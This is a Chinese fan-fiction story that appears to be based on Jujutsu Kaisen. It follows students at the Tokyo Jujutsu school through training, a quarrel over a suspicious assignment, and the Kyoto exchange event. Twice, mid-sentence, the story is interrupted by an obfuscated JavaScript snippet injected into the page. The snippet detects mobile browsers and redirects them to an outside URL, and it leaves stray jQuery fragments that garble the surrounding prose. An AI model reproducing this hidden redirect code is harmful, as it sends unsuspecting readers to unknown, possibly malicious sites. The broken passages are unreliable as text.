“怎么想都是因为二年级只有物部前辈一个人的原因。”车里热得像蒸笼一样,庵歌姬把车窗开到最大,车辆行驶间勉强有风吹了进来。 后排的男生们已经瘫倒了,连星海都露出了难以忍受的表情。 酷暑折磨着所有人,不知道是不是因为今年异常的极端天气,生出的诅咒似乎比前几年更多了一些。 今井由光带着他们到处跑,他自己也顾不上穿辅助监督的西装,有的时候穿着宽松的休闲短裤就上了车。 高专的制服虽然分夏装和冬装,但如果不是提前进行特殊裁剪的话,夏装居然也是长袖! “坚持一下孩子们,”今井由光在等红绿灯的时候腾出一只手翻看文件,“完成下午的这个任务,未来的一个月你们就可以好好休息了。” “为什么?因为夏天过去诅咒潮也退了吗?”弥山叼着冰棒棍子,歪七扭八地说。 “式没跟你们说吗?马上就要到姐妹校交流会的时间了,今年的主力军是你们哦。” 不过弥山的说法也是正确的,每年的夏季都是一年中诅咒爆发最频繁的季节,如果头一年灾害频发的话,今年会更难熬。 避开咒术师的繁忙期,东京校与京都校有着在夏季举办姐妹校交流会的传统。虽然原则上是“为期两日,依照两校校长提议的项目决出胜负”,但实际近每年都是按照第一天团体战,第二天个人战的赛程来由各校学生代表展开咒术合战。 去年代表东京校参赛的是二年级的前辈和物部式,今年轮到物部式带着一年级新生们勇闯京都校了。 没错,他们去年输了。历来交流会都是在获胜的学校举行,所以今年的举办地点在京都。 “今年我一定要让他们好看!!”哪怕是能烤干河流的夏日也没有打击到物部式的热情。 理论上三年级也有参加交流会的机会,但事实上大部分人到了三年级已经很少还有兴趣进行这样的比拼,所以交流会的主力一般都是一二年级的学生。 物部式决定在交流会开始前的这一个月好好地锻炼一下后辈们,听说京都校今年只招到了一个新生,和东京校一二年级的情况正好反过来了。 弥山甩着手中的木刀,这柄训练用的木头武器是打刀的形制,他用着总觉得有点长。 “没有再短一点的了吗?” “太挑剔啦,弥山!每种咒具都要熟悉,万一在战斗的时候手边只有你不擅长的怎么办?” 弥山做了一个鬼脸,自暴自弃地说:“那我就用拳头锤死他。” 说是这么说,可他适应得很快。他的咒力量不多,甚至只是比庵歌姬稍微多一点,但他的咒力操作是他们中最好的。每一丝咒力都被他发挥了它们最大的价值,因为消耗咒力的速度很慢,所以不会在拼体术的战斗中因为持久力而落于下风。 物部式放过了他,叫下一个人过来练习:“光士?过来吧。” 弥山回到树荫下时,星海精准地丢了一瓶水过来,落点也很稳,就在弥山的头顶。 他习以为常地顶着水瓶坐了下来,在庵歌姬“我还是看不懂你们”的眼神中扭开瓶盖喝水。 要说他们俩关系好,那可是基本没见他们分开过的黏糊。但是要说他们俩关系不好,隔三差五都能因为各种事情在各种地方打起来。庵歌姬还记得有一天大晚上楼上突然传来叮叮当当的声音,还有沉重的脚步声。因为声音很快就停下了,庵歌姬没太在意。 第二天才知道他们俩把宿舍楼的墙打出了一个大洞,好在这件事夜蛾正道不知道,他们俩不知道用什么方法把墙补了回去,看起来一切正常。 在物部式的“魔鬼训练”下,庵歌姬的体能和体术有了十足的进步,最明显的就是她至少能在对练中躲过五招,而且在“保护自己”这方面炉火纯青。 “歌姬跑快点!”弥山躲在树荫里看热闹,物部式追着庵歌姬满操场跑,她一边记仇一边想尽办法躲开从背后袭来的攻击。 “歌姬的话,身体素质没办法在一朝一夕练起来,总之先学会逃跑吧!” 感受着从后脑勺扫过的劲风,庵歌姬又是一身冷汗。 没办法,谁叫她是同期中最弱的一个,不想给同伴添麻烦的话就只能豁出命去跑了。 为了弥山嘲笑她这件事,庵歌姬之后坑了那对兄弟一顿晚餐才彻底翻篇。 “光士去哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200017|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?下午就没看见他。”物部式放过了瘫倒在地的庵歌姬,问躲在树荫下的弥山和星海。 他们摇头表示不知道。 夜蛾正道办公室内,正在用针戳毛茸茸的咒骸玩偶的人问:“你想申请二级咒术师的评定?光士,为什么?” 辻光士背着手,手指绞在一起:“就是......觉得可以了。” 夜蛾正道放下手中做到一半的咒骸玩偶,语气认真地说:“你要考虑好了,二级咒术师是有可能接受单独指名任务的,也就意味着你要独自一人出任务。以我个人来看,你现在还太早了。” 辻光士似乎有些太着急了。 夜蛾正道发现自己遇到了教学生涯中的第一个难题。辻光士畏缩与内向的性格是有原因的,他原本以为那是因为家人的疏远和同学的欺凌,来到高专后情况有所改变,至少能和一年级的同期们正常搭话。 但现在看来,其中并非他想象的那么简单。 招募入学的孩子体会过被世界抛弃、被力量支配的感觉,不能用普通咒术师的思维去推测他们的想法,从普通人转变为咒术师的过程是痛苦的、自我挣扎的。 “有自信是好事,”夜蛾正道说,“如果交流会后你还坚持你的意见,我会帮你提交申请。” 辻光士同意了。 他们没能如计划中的那样在训练中迎来交流会。在去京都的一周前,一个突发的任务交到了他们手上。 “指名?谁?不是只有二级术师以上才能接受指名任务吗?”弥山翻看着文件,发现被指名的人是星海。 这份任务文件的规格不是他们之前见过的来自“窗”的文件,弥山将纸张翻得哗啦作响,试图从那些黑漆漆的文字中找出什么线索。 “这份指名来自总监部......而且这次的文件中没有来自‘窗’的报告,所以我们也不知道咒灵的具体情况,”今井由光刚刚结束通话,也是一脸为难,“夜蛾先生让你们先待在学校,他明天就从北海道回来。” 咒术总监部。 弥山只从五条悟的口中听他提起过只言片语,似乎是一群老头子们在拍板做事。星海的术式他们早就知道,如今是为了测试他的能力才给了这个指名任务吗? 不应该。星海又不是第一次使用术式,想要测试实战能力的话根本不需要这样拐弯抹角。 “难道是咒术师等级晋升的评定考核?”庵歌姬猜测。 没有可供他们参考的案例,无法判断总监部究竟出于何意。今井由光打定主意要等着夜蛾正道回来,为此他打出了一个又一个电话,中间还要催促“窗”尽快给出一份评估报告,因为下达任务的文件中没有那份评估报告的话是不符合规定的。他咬死了这一点,尽可能地给夜蛾正道争取时间。 如今咒术界唯一的特级咒术师是大他们几届刚刚毕业的学姐九十九由基,这个人得到了特级称号之后就几乎从咒术界销声匿迹了,既不回高专也不接取委托,据说人好像跑到海外去了。 这是弥山和星海准备走的路。 因为咒术师的数量稀少,如果没有能在总监部说上话的人脉,咒术师想要辞职基本是天方夜谭。但是九十九由基就这么潇洒地走了,也没听说有人特意去找过她。 这个突如其来的任务让一年级的所有人都没兴趣继续准备交流会,他们聚在教室里等着今井由光和上面沟通的结果。 “难道说是因为星海可以跳级晋升,所以才这么安排的吗?”庵歌姬说道:“那这样的话光士应该也能晋升了,毕竟你们两个都那么厉害。” 她真心实意地夸赞道,没看见辻光士听到这番话时眼中闪过的莫名情绪。 弥山坐在星海的课桌上,看着橙红色的太阳渐渐被远山吞没。如果完成这次任务就能给星海升到特级的话,弥山就算背着他去也行。弥山的想法是如果他不能在高专毕业前领悟术式反转,那他们也可以学着九十九由基,拿到特级的名号然后潇洒走人。 至少从总监部对九十九由基的态度来看,他们多少还是会对“特级咒术师”这个名号有所忌惮,给了她相当宽容的待遇。不过具体情况究竟如何,除了她自己没人知道。 但九十九由基连一个人脉和联系方式都没留下,就算有问题想问也找不到人。 当事人星海没有任何表示,他把弥山的袖口卷起又放下,看起来完全沉浸在自己的思维中,没有人能猜到他的想法。 就在弥山准备去吃晚饭的时候,今井由光拉开了教室的门。 “‘窗’的人说已经有‘帐’拉下来了,但不是他们做的。他们还在找‘帐’的主人,暂时看不到内部的情况,不过可能......还有人留在里面。” 弥山从课桌上跳下来:“那我们可以去吃晚饭了!” 星海也推开椅子站起身。 “等等我跟你们一起去。”庵歌姬准备跟上他们的队伍。她现在已经彻底摸清楚和这对兄弟的相处之道,想做什么就直接行动起来,有话直说,只要他们不拒绝就是默认许可的意思。虽然得不到回应看起来有些伤人,但在相处的时候意外的很舒服。 庵歌姬可以不必费心猜测他们对自己的看法,因为他们根本不会在乎她是不是说了什么失礼的话,在社交的过程中不必通过他人的评价和视角来改变自己,这对于庵歌姬来说是一种全新的体验。 今井由光替他们扛下了不小的压力,弥山经过他身边的时候乖乖地说了一声:“辛苦啦今井先生!” 星海微微欠身表示感谢。 “好了,你们就不要再想这件事......” “我、我们就真的什么都不管了吗?” 哐当—— 辻光士起身的时候太过激动,身体的力道撞倒了椅子,砸在地上的声响让空荡荡的走廊和教室瞬间寂静,落针可闻。 弥山整个人已经走出了教室,此时又仰着身子将上半身探了回来:“光士你在说什么啊?” 辻光士的声音一开始还有些颤抖,后来越说越坚定:“物部前辈不是也说、也说最近大家都很忙吗?也许只有我们还有空,已经有人被困,难道我们就、就真的什么都不做,回宿舍睡觉吗?” 弥山支撑着身体的腿一抬,直接躺在了星海怀里:“这种事情怎么会轮得到一群一年级的菜鸟啊,倒不如期待一下夜蛾老师变身闪电侠去拯救世界。” 星海把他推了起来,准备继续往食堂走。 今井由光安抚了一下辻光士:“弥山说的有道理,这种任务不应该由你们来执行。好了,快去吃晚饭吧!” 辻光士被半拉扯着带出了教室。 43.咒术师 “好想吃星海做的饭——食堂已经吃腻啦!”弥山故意大声说着,星海用筷子打开他伸向自己餐盘里的手。 “说什么吃腻了......一个月你才吃几次食堂?任务的报酬都用来出去吃饭了的人好意思说?” “星海你还会做饭?还真是贤惠啊!”庵歌姬喝着味噌汤,突然有点想和弥山统一战线,她想尝尝星海的手艺。 “他可是被誉为水海道中最会做饭的男人!”弥山悄悄和她咬耳朵,被星海在桌子下面踢了一脚。 庵歌姬发现辻光士基本没怎么吃饭:“光士,你还在想那个任务吗?” 辻光士有些出神地扒拉着米饭,却没有将它们放到嘴里的欲望。 “我只是......一想到有人正在等待救援就.....” 弥山一拍手:“光士肯定是在电视上看到募捐广告就一定会捐款的那类人。” 星海低着头看自己的餐盘,慢慢地说:“咒灵可不会用‘帐’,设下这个的只可能是诅咒师。我们这种程度的人进去也起不到什么作用。” 庵歌姬点头认同。 辻光士突然用筷子戳了一下盘子,发出很响的一声:“......什么叫我们这种程度的人?你、你的术式明明那么厉害,还有我,我们......” 弥山撑着下巴,脑袋随着说话的动作上下起伏:“多少得有点自知之明吧?连术式怎么用都不知道的家伙还是先把咒力操作学会再说其他的事。” 诶?庵歌姬的大脑愣了两秒,这是要......吵起来了?不会用术式的人是指辻光士?为什么? “你在说我?”辻光士皱眉。 弥山没有顺着他的话说,反而是继续说起自己的想法:“就算进去了又怎样?如果遇到了需要杀死诅咒师才能离开的局面怎么办?” “......”辻光士似乎是被镇住了,他沉默了一小会,说道:“我只是不想因为明明自己有力量却没做到该做的事而后悔。” 他好像下定了什么决心,居然抬头主动望向弥山的眼睛,强迫自己一动不动地看着对方。 他看到坐在对面的少年挑起眉毛,又露出一个看好戏的笑容,歪着头说:“想去就去呗。” 辻光士被他的表情激怒了。为什么要用看什么滑稽东西的眼神看着他?他想用自己的力量拯救他人,总比怀有力量却选择视而不见的人好多了吧!? 弥山不欲与他多说,端着餐盘准备离开。 “等等,”庵歌姬觉得他们应该把话说清楚,“把话谈开再......” 星海起身的动作打断了她的话:“抱歉。但我和他的想法一致,我们的力量的确非常特殊,但......也没有那么特殊。” 他追上等着他的弥山,两个人结伴回宿舍了。 这里就只剩下庵歌姬和辻光士。 庵歌姬脑子嗡嗡的,这次争吵来的太过突然,她回到宿舍才有机会完整地回想整个过程。 辻光士觉得他和星海有能力处理这次突发事件。 庵歌姬翻了个身,将自己缩进被子里。这次她和弥山、星海的想法一致。这件事根本没有谁对谁错的说法,就是怕辻光士觉得别人认为他的想法是错误的。 偏偏弥山说的话,意思直来直去,表达却弯弯绕绕......不,他可能觉得自己说的话很直白。也许是因为思维跳跃性太强的原因,他没有意识到自己说话很喜欢跳过一些信息。 那些在他大脑中觉得可以理解的逻辑链条却没办法让他人理解,因为他无法彻底地变成“他人”体会听他自己说话的感受,所以他根本没意识到别人听自己说话有的时候就像猜谜一样。 庵歌姬已经放弃理解他的脑回路,转而选择不去自我脑补那些缺损的逻辑链条。毕竟他终归还是要说结论的,只听结论就好。 不过,倒是很少见到弥山说话这么刻薄。 庵歌姬琢磨着,有点想跟物部式吐槽,但一想他还在出任务就打消了这个想法。 “啊啊啊啊真是的!!每天因为那对兄弟耗费太多脑细胞了!!!” 她的哀嚎没有穿透楼层,传入弥山和星海的耳中。 弥山盘着腿,双手抱臂,一副“我很火大”的模样。星海看着好玩,上手揉了他的头发,没想到弥山居然一点也不反抗,惊得他抬起手看了看自己的掌心。 “怎么会有人笨到这个地步啊!一看就有问题的地方非要上去走一圈才肯罢休。” 星海在他身边坐下,然后顺势躺倒在他腿上:“想不明白就算了。” 弥山弯下腰,惊奇地看着星海:“啊?我还以为你会想跟他解释清楚。” 星海换了个方向,背对着弥山:“我是说你。” 他感受到身下的肌肉传来震动,弥山整个人都在笑:“你说的明明就是他!” 争执的焦点从来都不在于“他们的力量是否足以支持他们解决这次突发事件”,而是“那里看起来不对劲,你要跳吗”。 弥山笑了一会,突然说:“你这是决定开始妥协了吗?” 星海闭上了眼睛,没有回话。 弥山哼哼地笑着,一整晚心情都很好。 第二天夜蛾正道回到了高专。这次的突发事件果然交给了那附近的一级咒术师去解决,按时间来说他们刚进去不到一个小时,还没有出结果。 受到昨天那场争执影响最大的居然是庵歌姬,她可不希望刚开始没几个月的高中生涯从此刻开始跌落谷底。 “关于这件事的讨论到此为止,你们现在最大的任务是备战交流会。”夜蛾正道双手撑在讲台上,用一种他认为很有压迫感的姿态宣布这次的特殊指名任务彻底与一年级的几个人无关了。 不过这件事没那么简单就能结束。夜蛾正道不希望他的学生们这么早就接触到上层之间的博弈,这次的情况疑点重重,总监部一直无法给出一个确切的说法,如果他们想,可以永远不用给出合理的解释。 没有人能够质疑总监部。 物部式在交流会的前一天才匆匆赶了回来,看来他在这次任务中也吃了不少苦头,整个人灰头土脸,像是被丢到田地里当成稻草人风吹日晒了一个月。 “听说你们吵架了?”他趁着四下无人,拉住了辻光士。 “也......不算吧。”辻光士不知道怎么继续和弥山他们相处,但是心里对他们有所改观后,实在无法说服自己像原来一样当做什么事情都没发生过。 连带着他也不知道如何面对夹在中间的庵歌姬,索性就自己躲起来,一个人吃饭,没事的时候就躲在宿舍里。 “那件事情我也听说啦,”物部式把他拉到树荫下,从自动贩卖机里买了两罐凉茶,“从咒术师的角度来说,他们的选择没有错。” 辻光士的后背弯下去了一些。 “但是你的想法也不是错的哦,毕竟保护非术师是我们咒术师的职责嘛,光士你进入咒术界的时间还很短,但应该也能大概看出来歌姬他们和你的想法有些地方会很不一样吧?” 辻光士点点头。 物部式耐心地解释:“你从普通人的世界来到咒术师的世界,我们却没办法从咒术师的世界走回普通人的世界,所以咱们之间一定存在着某些隔阂。” 他说到这里的时候实打实地笑了一下:“老实说,我们从小就是听着‘要保护非术师’这样的论调长大,这和非术师们会说的‘要好好学习’类似,但是总会有怎么学都学不好的科目,我们只是比你更早地认识到不可能能够保护所有人。” 但是,辻光士比这些诞生在咒术师世界的人更明白,一个普通人在面对超脱于现实的怪物的时候,究竟会感受到怎样的恐惧和无力。 “当你能够接受咒术师世界的现实的时候,你才能成为一名真正的咒术师。” 辻光士似懂非懂。 要接受,明明手里握有力量,却不能用来拯救他人的现实吗? 他觉得......他觉得...... 物部式拍了拍辻光士的肩膀,他希望自己的后辈能够尽早明白咒术师无法保护所有人,能做到的也只是为了死前不会后悔而“拼尽全力去战斗”。 “不管怎么说,现在最重要的事情还是交流会!京都校有个禅院家的......”物部式想起那个人就有点咬牙切齿,去年战败的耻辱他要在今年一并偿还! “呃,物部前辈......请冷静一点?”辻光士感觉肩膀上的手要把他的骨头捏碎了,不过这也很好地转移了他的注意力。距离他成为真正的咒术师的道路还很漫长,他有足够的时间去想清楚这些问题。 “你们在这啊,”庵歌姬从远处向他们招招手,“夜蛾老师说要开个会。” 夜蛾正道将这次去参加交流会的五个人叫到了同一间教室。虽然大家都是咒术高专,但交流会总还是带有一些比拼的意思,京都校主持交流会的是新上任的校长乐岩寺嘉伸,他们交上来的名单果然也是以一二年级为主。 “二年级的人式应该已经很了解了,”他特意准备了一份名单,发到了所有人的手里,“一年级的新生冥冥,术式是【黑鸟操术】。” 夜蛾老师超认真的啊......弥山简单翻了翻名单,二年级三个人,一年级一个人。 “老师,”物部式有点疑惑地问道,“禅院家的那个去哪了?” 夜蛾正道说:“她死了,就在上个月。” “......” 物部式张了张嘴巴,最终什么都没说。他一点风声都没听到,估计禅院家觉得她的死让他们蒙羞受辱,所以压下了消息。 居然还能死在高专,连废物都称不上。 夜蛾正道略微解答了一些他的疑惑:“据说是在回收特级咒物的时候出了意外,具体的情况就不太清楚了。” 也许是和抢夺特级咒物的咒灵发生了战斗,又或者是有咒灵提前得到了特级咒物的力量。确认死亡之后遗体很快就被送回了禅院本家,没有葬礼。 同龄人的死亡让庵歌姬和辻光士嗅到了沉重的气息。在乘车前往京都校的过程中,物部式也没什么心情活跃气氛。 辻光士看着车窗外不断后退的风景,脑子里不由自主地回想着物部式和他说的话。 弥山用手机查看离开东京前寄给禅院甚尔的包裹。他答应禅院甚尔的嘱托式咒符已经做好了,和预想中的差不多,花了几个月的时间才勉强完成。 因为禅院甚尔没有咒力,无法使用咒符,弥山贴心地覆上了另一张储存着他的咒力的咒符。 禅院甚尔收到消息的时候正在医院。 “真是个怪物。” 把术式塞到咒符里去,咒术界从没有过这样的先例。没有人喜欢把自己的术式分享出去,毕竟那玩意可是咒术师们的宝贝啊。没有术式,在某些家伙眼里连“人”都称不上。禅院家,乃至整个咒术界,正是这样彻底否定了他。 把铁凳子塞得满满当当的男人露出大获全胜的笑容:“这次是我赌对了。” —— “冥冥,今年的团体战有你在会变得轻松不少吧。” 被提到的少女正闭着双眼,闻言只是微微笑了起来:“虽说是团体战,但本质是祓除咒灵的比拼。我当然会原原本本完成自己的工作,至于多余的部分......呵呵。” 使用新·阴流的二年级前辈无奈道:“你才一年级就开始满嘴都是工作了啊!” 按照往年的惯例,校方会在校内固定的地点投放一定数量的咒灵,并通过咒符连接咒灵的状态。双方的参赛者需要在规定时间内尽可能多地祓除这些咒灵,分数更多的一方获得胜利。到此为止,这就是冥冥口中“原本的工作”。 至于多出来的部分,毕竟他们是在同一块场地里进行比拼,双方自然有可能碰面。往年不乏有人选择先削弱对手的实力,在对方缺人或状态不佳的情况下,更容易获得胜利。 冥冥的【黑鸟操术】可以与乌鸦共享视野,是个极为便利的侦查型术式。 “......算啦,我还想从现在开始攒委托报酬以后结婚用,”前辈摆摆手,没什么干劲地说,“他们可能也没那个想法了。” 二年级这一届只有死去的禅院来自咒术世家,尽管平日嘴毒又一幅眼高于顶的模样,但她拼命向上的样子还是带着他们其他人不自觉地攀登着。她为了得到认可而付出的努力,最终却只换来了一句“没有葬礼,那种垃圾的存在只会给家族蒙羞罢了”。 冥冥的乌鸦看到了东京校的队伍,但她解除了和它们的视觉链接。 “这样啊,我明白了。” 尽管他们对生命价值的认知不同,但冥冥尊重了前辈们的选择。 “京都校看起来和咱们那没什么不一样,”弥山四下观察着,两所高专学校的建筑风格都很相似,最大的区别大概就是京都校没有那些随时变换的佛寺虚像,“你在看什么呢?” 星海一直在往道旁的树上看。弥山顺着他的视线追过去,只看到了几只落在树杈间的黑色鸟类。 “是【黑鸟操术】。”星海说。 “在看这边吗?” 看不出来。每一只乌鸦身上都残留着术师微弱的咒力,如果她选择操纵其中某一只的话,咒力量应该会稍微变多一些。 “是吗。”弥山不再看那些黑鸟。 在团体战开始前,物部式带着他们去见了京都校的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205690|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生们。 “未来都是在咒术界工作的人,提早认识一下也没什么不好。” 京都校二年级的前辈笑了一声,对物部式的说法不置可否:“能活到毕业再说吧,物部。” 辻光士悄悄问:“高专学生的死亡率很高吗?” 庵歌姬:“当然不是,应该是因为同伴去世所以比较悲观吧。” 物部式跳起来,将星海和辻光士往前一推,又指了指后面的庵歌姬和弥山:“哼,你们等着吧,我们东京校今年的一年级可是很厉害的!” 星海:“......” 物部式大概只是想要在口头上胜过对面,星海已经被夜蛾正道叮嘱不许使用术式了,虽然光凭体术他也不一定会输就是了。 “你好。” 庵歌姬正在后面听物部式和京都校的人说个不停,突然感觉到有人走到了她身边。 有一股很香的味道。她扭头看到了冥冥。 “你、你好!我是庵歌姬,”应该是京都校的一年级新生,“你好高啊。” “呵呵,我是冥冥。”冥冥看起来年龄比庵歌姬大一些,已经有了成年人的游刃有余。 她交出两张名片,给了庵歌姬和弥山一人一张:“虽然距离毕业还有一段时间,但我不介意在休息日接到你们的电话。” “什么?”庵歌姬没太明白,弥山了然地点头,把名片揣进兜里,叫上星海准备去吃饭。 “那个孩子比我想象中的还有意思呢,”冥冥望着弥山离开的方向,不过她很快收回视线,点了点庵歌姬手中的名片,“这是我的号码。私人委托,或者有什么有意思的情报,都可以选择和我分享。” 这种事情居然是被允许的吗!?庵歌姬用崇拜的眼神看着冥冥。 “但是......”只给了他们,跳过了辻光士? “那孩子是招募入学的吧?眼神很明显,我看的出来。”冥冥单手叉腰靠在桌子旁。 对她肃然起敬的庵歌姬顿了两三秒:“冥小姐,你看人好准呐。” “我现在更喜欢和成熟的咒术师打交道,毕竟时间上不是那么自由。” 冥冥心情很好地和庵歌姬告别,和她的乌鸦们一起离开了。 —— 和寄给禅院甚尔的包裹一同寄出的还有送往夏油杰家的一份快递。 “弥山,这个咒符和以前的好像有点不一样?”电话那头的声音有些杂乱,似乎正在一个比较嘈杂的环境中。 “用法和以前的是一样的,只是我在做的过程中省略了一些咒纹和言灵,看起来不一样罢了。” 弥山躺在单人床上,屋里没有开灯。他们要在京都校住两晚,这边自然没有特意为他们准备的宿舍,所以弥山和星海睡在了不同的屋子。 也许听起来不可思议,但其实这是他们第一次没有睡在一块。 夏油杰捧着手机,尽量找了一个安静的角落。他已经回岩手上学了,父母对他的管制稍微放松了一些,晚上有空的时间他会悄悄出门在夜晚的城市中到处溜达,看看能不能碰到可以收服的咒灵。 不过他今晚注定要铩羽而归。在一个小时前他刚出发的时候就接到了五条悟的电话,被迫听他从那个用起来贼难但是贼强的【苍】说到了支撑反转术式运转的正极能量,尽管夏油杰一再提醒五条悟他似乎不应该把相传术式的具体内容告诉别人,但五条悟根本满不在乎。 “早就被研究得透透的了,但是那又怎样?”夏油杰已经能想象出五条悟嚣张的表情:“周末我去找你,我要亲自给你演示!” “不了谢谢,我周末还要上补习班。” “骗谁呢!?” 夏油杰从善如流地转移了话题:“说起来,高专的课程很忙吗?弥山他们很少有时间出来了。” 五条悟把手机夹在耳朵和肩膀之间,拆开了弥山寄过来的一袋新的甜品:“不知道,但好像去的地方蛮多的,一直有伴手礼寄回来。” 不止五条悟,夏油杰也收到了各种小礼物,不过寄给他的东西很杂,他觉得有点对不住那对兄弟,五条悟只需要投喂甜食就行,毕竟家里什么都不缺,但是给他的礼物看起来用心挑过,至少他还没有收到重复的东西。 对他们——尤其是弥山来说能想着这件事就已经很令人感动了。 “我和你打赌他肯定是因为这么做很新鲜才一直记着,等他的新鲜劲过去了就会把你忘得一干二净哈哈哈!” 夏油杰嫌弃地把手机从耳朵边拿开,等五条悟笑够了才重新听他讲话。 五条悟今天的话很多。 “悟,发生什么事了吗?”夏油杰很敏锐,五条悟只有相当不对劲的时候才会这么多话,几乎是不容他人插话的在进行持续输出。 “......”五条悟顿了一下,手机收入的只有夏油杰周围人声鼎沸的岩手夜市。 夏油杰耐心等待。 “嘛,也许是因为我要到青春期了吧,最近总觉得有点不甘心。” 这句话可以吐槽的地方很多,但夏油杰贴心地没有反驳他。 五条悟似乎换了个姿势拿手机,声音清晰了起来:“那种感觉怎么说呢,就像是......就像是家里有一个很大的庭院,本来可以用来种花栽树,却被用来存放一群已经受潮了的柴火的感觉。” 他又想了想,换了个说法:“就好像听见杰你用【咒灵操术】收服蝇头一样好笑。” “......能不要再提那件事了吗?”夏油杰叹了口气:“大概明白你的意思了。” “对吧对吧?真的超搞笑的。” 一回家就能闻到陈旧腐朽的味道,就算再想要待在家里也会觉得不适。不应该留在家里的东西就要及时清理出去,总不能每次都错过扔垃圾的时间。 “总是这样的话,不是连家里什么时候爬满蟑螂都不知道了吗。” 夏油杰靠着街边的栏杆,对面商店的霓虹灯光将他罩了进去:“你和他们说过了?” 五条悟否认道:“他们才是客人!这是我家!不过,我倒是可以勉为其难地给他们腾出一间来。” 就像那个属于他的小杂物间(爆改版)。 “......说什么呢你?拜托你正常一点,怎么可能是你家啊。” 五条悟正色道:“就是我家啊。” 夏油杰发现他是认真的。 “......每次我觉得你已经很不可理喻的时候,你总能重新让我对你刮目相看啊,悟。” 不过,这么一想似乎......感觉还不错。 “待会联机打游戏吗?” “不了,我真的还有事。” 夏油杰迅速挂断了电话。 44.梦中说梦 事实证明,星海不用术式也很能打。 对此弥山深有体会,但看着别人被打总比自己挨揍要更痛快,所以他笑得很开心,跳起来欢呼的时候赢得了京都校二年级的一致瞪视。 有人想在个人战上找回场子,但被弥山揍得鼻青脸肿。 新·阴流的前辈这次对上的还是物部式,两个人打得难解难分,最后物部式以微弱的优势拿下了最后一场胜利。 唯一的败绩还是庵歌姬,当冥冥拖着她那柄大斧子走出来的时候,庵歌姬已经想好准备弃权的姿势怎么摆才不会显得太丢人。 话虽这么说,但她还是挣扎到了最后一刻,这还得多亏了物部式对她的“魔鬼训练”。对战结束后她立刻和冥冥交换了号码,决定好好请教如何锻炼自己的体术。不奢求能像冥冥一样抡大斧子,可至少要更有自保能力才行。 “不错不错,为师很满意哦,歌姬。”物部式趁着夜蛾正道不在,跑到庵歌姬身边安慰她。 庵歌姬拽住了从她身边经过的弥山:“教我咒力操作!!!” “我现在要去吃岚山广川鳗鱼饭!”弥山轻而易举地从她手中脱出,跑得飞快。 “等等我也要去!”庵歌姬瞬间打起精神:“冥小姐,光士,要一起去吃吗?” 冥冥同意了:“听起来是个不错的选择。” 物部式哭号:“为什么不问我?” “不管问不问你都要跟上来的吧,物部前辈。光士要来吗?” 辻光士最终还是点了头。 一群人浩浩荡荡地奔着岚山渡月桥的方向去了,这家店的招牌就是关西风味的鳗鱼饭,深受本地人喜爱,已经到了一座难求的地步。不过好在有五条悟的超能力,他们得以在已经过了饭点很久可依旧有人在排队的时候进入了一个包间。 不知道谁居然点了酒,这一屋子未成年的桌子上为什么能出现酒这东西啊!? “上都上了,”庵歌姬抢过一瓶直接打开,“有人不能喝酒吗?” 弥山凑了上去,啤酒在透明的酒杯里不停泛着气泡:“我们从来没试过。” 他嗅到了一点苦味,是很新鲜的苦味。 星海扯着他的衣领将人拽回座位上,压着他的头说道:“吃你的鳗鱼饭。” 弥山在他的手底下扭头,头发被他自己搓得乱七八糟:“就尝一口?” 星海抱臂冷笑:“你最好真的只喝一口。晚上别来找我。” 庵歌姬抱着已经空了的酒瓶,她给每个人都倒了一小口,用“这俩家伙没救了”的语气说道:“你们俩还真是一刻都分不开啊。” 原本在京都校都是一人一间宿舍的,但是弥山抱着他的被子跑去找星海打地铺了。 “干杯!干杯干杯!”那边物部式已经和坐在他旁边的冥冥以及辻光士碰了杯,仰头一饮而尽。 弥山才不肯受星海的威胁,拿过杯子,有冰凉的小水珠从杯子里跳出来,又被他无情地从鼻尖抹去。 “闻起来好苦。”他捏着鼻子尝了一小口,觉得比星海的苦咖啡还要难喝。 他把杯子往星海那边推,星海端起杯子一饮而尽。 “!?” 咚。 空杯和桌面清脆的撞击声配上星海得意的表情让弥山有些咬牙切齿。 冥冥见状,默默降下了一个范围极小的“帐”。 在座的所有人,除了辻光士是真的只喝了一口,其他人都没控制住,庵歌姬已经彻底上头了。第二瓶她自己就喝了一半,脸上红通通的,笑得超级开心。 弥山苦恼地躲在星海身后,星海挡着他,两个人缩到了墙角的位置。 庵歌姬这个人,酒品超差的啊! “啊哈哈哈,星海你喝酒的时候会故意装作轻松诶!哈哈哈哈!” “弥山你是小孩吗?哈哈哈哈哈哈哈!” “噗哈!物部、物部前辈,我一直想说了,你长得真的很像明石家秋刀鱼诶!啊哈哈哈哈哈!能模仿他的语气说一下那句话吗?‘谢谢’是魔法咒语,说得越多运气越好!” 庵歌姬醉意上来之后会变得非常话痨,而且笑点极低,只有物部式跟着她一起胡闹。 冥冥饶有兴致地看着庵歌姬和物部式勾肩搭背,把包间变成了卡拉OK,唱着埼玉西武狮的《狮子之歌》。弥山靠在星海的背后长出一口气,庵歌姬终于放过了他们俩,转头去骚扰物部式了。 他还看见冥冥似乎举起手机录了相,在心里为庵歌姬默哀两秒,并下定决心再也不会和她一起喝酒了。 辻光士只喝了一口,没有酒精上头的感觉。但是他也感觉不到环境带来的心理上的燥热感,他看着庵歌姬和物部式在唱歌,弥山和星海凑在一起说悄悄话,冥冥坐在他身旁举着手机。 只是看着。 